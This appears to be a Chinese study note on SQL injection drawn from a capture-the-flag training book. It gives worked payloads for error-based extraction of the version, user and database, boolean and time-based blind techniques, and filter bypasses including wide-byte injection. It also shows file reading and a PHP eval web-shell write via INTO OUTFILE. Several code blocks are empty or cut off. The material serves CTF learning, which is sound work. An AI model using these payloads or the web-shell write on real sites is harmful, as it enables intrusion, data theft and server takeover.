SQL注入
书籍:《CTF特训营》
0x01 常见类型
- 可回显的注入
- 联合查询注入
- 报错注入
- 注入进行DNS请求
- 不可回显的注入
- Bool注入
- 时间注入
- 二次注入
0x02 联合查询
1 |
|
0x03 报错注入
常见MySQL的函数:updatexml
(extractvalue
)、 floor
与 exp
。
-
updatexml 更新,
extractvalue
查询===>XML1
2MariaDB [(none)]> select updatexml(1,concat(0x7e,(select version()),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~10.4.8-MariaDB~'1
2MariaDB [(none)]> select extractvalue(1,concat(0x7e,(select version()),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~10.4.8-MariaDB~' -
floor
作用:向下取整。
报错原理:rand和order by或group by 冲突。
知识补充:rand()函数是随机数生成函数,但是给定随机数种子seed后,每次运行rand(seed)会得到相同的结果。
已知
floor(rand(0)*2)
前几次结果如下:1
2
3
4
5
6
7
8
9
10
11
12MariaDB [test]> select floor(rand(0)*2) from test_floor;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+------------------+
6 rows in set (0.000 sec)过程如下:
-
创建虚拟表:用于保存键和
count(*)
结果,主键key
为group by
的属性。 -
查询第一条记录,并计算
floor(rand(0)*2)=0
,(第一次结果)。 -
查询虚拟表,查找
key=0
是否存在,若存在count(0)+=1
;若不存在,则添加一条记录。 -
查询后发现key=0不存在,则添加一条记录:
key=floor(rand(0)*2)=1
(第二次结果),count(1)=1
-
查询第二条记录,计算
floor(rand(0)*2)=1
(第三次结果)。 -
查询虚拟表,发现
key=1
存在,则此时令count(1)+=1
-
查询第三条记录,计算
floor(rand(0)*2)=0
(第四次结果)。 -
查询虚拟表,发现
key=0
不存在。则添加一条记录:key=floor(rand(0)*2)=1
(第五次结果)。此时由于主键重复数据库报错!!!
爆破数据库版本:
1
select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a
构造Payload:
1
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
爆破当前用户:
1
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
爆破当前数据库:
1
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
爆破指定字段:表名为
user (0x75736572)
1
?id=1'+and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e) from information_schema.columns where table_name=0x75736572 limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
-
-
exp
作用:
exp(n)
返回的值。报错本质:溢出。
1
select exp(~(select * from (select user())x));
报错会回显查询的信息。
0x04 Bool盲注
网页中,真和假有不同的回显。
-
截取函数
函数名 说明 substr() substr(str,start,length)
。示例substr(user(),1,1)
判断user函数返回的一个字符,后续依次修改start参数进行判断。left() left(user(),1)
。假设用户名为admin:select a from b where left(a,1)='a'
select a from b where left(a,2)='ad'
…right() 用法同left() -
转换函数
函数名 说明 ascii() 将字符转化成ASCII码,避免Payload中出现单引号。
使用方法:ascii(char)
,若char是字符串,则返回第一个字母的ASCII码。
常与substr连用:ascii(substr(user(),1,1))
hex() 将字符转化成十六进制,用法同ascii函数。
在ascii函数被禁用时或将二进制数据写入文件时,可以考虑hex函数。 -
比较函数
函数名 说明 if() 使用方法: if(cond,True_result,False_result)
。
示例:?id=1 and 1=if(ascii(substr(user(),1,1))=97,1,2)
,判断user的第一位是否是’a’。
在盲注过程中,使用Sqlmap可能存在误报。
原因在于一些数据返回页面及接口返回数据时,可能存在返回的是随机字符串,如时间戳或防止CSRF的Token等。此时使用自动化检测脚本会出现误报。
0x05 时间盲注
如果正确和错误存在相同的回显。错误信息被过滤掉,可以通过页面响应时间进行按位判断数据。时间盲注的函数一般是在数据库空执行,这样会让服务器负载过高。因此比赛中很少出现。
函数名 | 说明 |
---|---|
sleep() | 睡眠函数,使用方法 sleep(N) ,N 为睡眠时间。if(ascii(substr(user(),1,1))=114,sleep(5),2) 这里判断user首位是不是’r’,这里的5秒是指在数据库的时间,由于网络延迟,可能会更高 |
benchmark() | 重复执行某个语句的函数,可以用这个测试数据库的读写性能。 使用方法如下: benchmark(N,expression) ,N 为执行次数,expression为表达式。通过多次执行,达到消耗时间的作用,例如将表达式设置成 MD5() 。 |
0x06 二次注入
二次注入的起因是数据在第一次入库时,进行了一些过滤和转义,当这些数据从数据库中取出来在SQL语句中进行拼接,而这次拼接的过程中没有进行过滤,此时能执行构造好的SQL语句。
补充
MySQL的版本在5.0.0与5.6.6之间时,在如下位置可以进行注入:
1 select field from table where id>0 order by id limit {injection_point}使用如下Payload进行注入:
1 select field from user where id>0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
0x07 注入点的位置及发现
1.常见注入点位置
- GET参数注入:从地址栏获取URL及参数,手工验证即可。
- POST中的注入:通过抓包操作来发现。
- User-Agent:Burp的Repeater模块,或Sqlmap设置level=3。
- Cookies注入:Burp的Repeater模块,或Sqlmap设置level=2。
2.判断注入点是否存在
-
插入单引号
原理在于闭合SQL语句中未闭合的单引号。
-
数字型判断
and 1=1
或'and '1'='1
进行测试。 -
通过数字的加减进行判断
若 http://examle.com/?id=3-1与http://example.com/?id=2相同,则
id
存在注入点。
0x08 绕过姿势
1.过滤关键字
-
双写绕过:
oorr
、selselectect
-
大小写绕过:
SeLect
、UniOn
-
十六进制绕过:
selec\x74
、o\x72
-
双重URL编码:
or
==>%25%36%66%25%37%32
select
==>%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34
2.过滤空格
-
通过注释绕过:
- –
- //
- /**/
- ;%00
-
URL编码绕过:
%20
==>%2520
-
空白字符绕过(十六进制):
数据库 空白字符 SQLite3 09,0A,0C,0D,20 MySQL5 09,0A,0B,0C,0D,20,A0 PosgressSQL 09,0A,0C,0D,20 Oracle 11g 00,09,0A,0C,0D,20 MSSQL 01~20 -
特殊符号:反引号、在不同场景下:加号、减号、感叹号也会有相同的作用。
-
科学计数法:
1
select user,password from users where user_id=0e1union select 1,2
3.过滤单引号
魔术引号,即PHP配置文件php.ini中magic_quote_gpc。PHP版本小于5.4时,使用GB2312、GBK等宽字节编码。可以在注入点增加%df尝试宽字节注入(如%df%27)。原理是PHP在向MySQL发送时,MySQL使用一次character_set_client设置进行一次编码,从而绕过对单引号的过滤。
示例:
1 id=1%df' and 1=1%23
1 select * from user where id ='1運' and 1=1#' MySQL的在使用GBK编码的时候,会认为两个字符是一个汉字(前一个ASCII码要大于128,才到汉字的范围)。这就是MySQL的的特性,因为GBK是多字节编码,他认为两个字节代表一个汉字,所以%DF和后面的\也就是%5c中变成了一个汉字“运”,而“逃逸了出来。
4.绕过相等过滤
MySQL存在utf8_unicode_ci和utf8_general_ci两种编码格式。
0x09 读取文件
-
读文件
1
select load_file('/etc/hosts');
绕过单引号:
1
select load_file(0x2F6574632F686F737473);
常见读取的文件:已给的flag文件、MySQL配置文件、Apache配置文件、.bash_history等。
-
写文件
1
?id=-1+union+select+'<?php @eval($_POST['lowbee']);?>'+into+outfile '/var/www/html/shell.php';
1
?id=-1+union+select+unhex(一句话木马十六进制)+into+dumpfile '/var/www/html/shell.php';
首先需要知道是否有写文件的权限,该权限由
secure_file_priv
决定,可以尝试写入一个已经存在的文件。- 其中当参数
secure_file_priv
为空时,对导入导出无限制 - 当值为一个指定的目录时,只能向指定的目录导入导出
- 当值被设置为NULL时,禁止导入导出功
- 其中当参数
0x10 示例
1 | import requests |